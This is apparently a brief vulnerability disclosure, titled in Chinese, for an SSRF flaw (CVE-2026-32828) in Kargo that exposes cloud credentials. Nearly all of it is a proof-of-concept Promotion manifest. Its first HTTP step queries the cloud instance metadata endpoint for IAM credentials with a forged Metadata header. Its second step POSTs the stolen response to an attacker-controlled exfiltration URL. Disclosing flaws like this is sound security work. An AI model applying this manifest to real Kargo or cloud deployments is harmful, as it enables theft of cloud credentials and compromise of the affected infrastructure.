CVE-2026-32828 Kargo SSRF漏洞致云凭证泄露

# PoC Concept: Malicious Kargo Promotion Manifest apiVersion: kargo.akuity.io/v1alpha1 kind: Promotion metadata: name: ssrf-exploit namespace: default spec: stage: target-stage steps: - type: http config: # Target the cloud instance metadata endpoint url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" method: "GET" headers: # Attackers control headers to bypass cloud provider SSRF protections User-Agent: "kargo-exploit" Metadata: "true" # Response data (IAM credentials) will be reflected in the Promotion status or logs - type: http config: # Exfiltrate data to an attacker-controlled server via a second step url: "http://attacker-controlled-server/exfiltrate" method: "POST" body: "{{ steps.http.output.body }}"